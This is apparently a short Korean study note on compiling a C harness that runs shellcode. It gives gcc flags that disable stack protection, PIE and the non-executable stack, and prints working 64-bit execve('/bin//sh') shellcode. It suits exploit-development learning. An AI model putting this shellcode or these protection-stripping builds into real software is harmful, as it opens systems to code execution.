출처는 https://gist.github.com/securitytube/5318838
컴파일할때
32비트 운영체제에서는
gcc -o shell shell.c 로 해도 되지만, 세그먼트 오류가 발생할 경우는
gcc -o shell shell.c -fno-stack-protector -z execstack -no-pie
로 컴파일해준다
64비트 운영체제에서는
gcc -o shell shell.c -fno-stack-protector -z execstack -no-pie -m32
로 맨 끝에 -m32 옵션을 추가해주자.
간혹 컴파일시 -no-pie 옵션을 찾을 수 없다는 gcc 오류가 발생할수도 있는데, 해당 옵션 제외하고 컴파일 해주면 된다.
64비트 쉘코드도 다음번에 해봐야지..
내용추가
64비트 환경에서는 아래와 같이 진행한다.
char shellcode[] = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
void main()
{
void(*shell)() = (void *)shellcode;
shell();
}
컴파일 옵션은 gcc -o shell shell.c -fno-stack-protector -z execstack -no-pie 로 동일하게 주면 됨.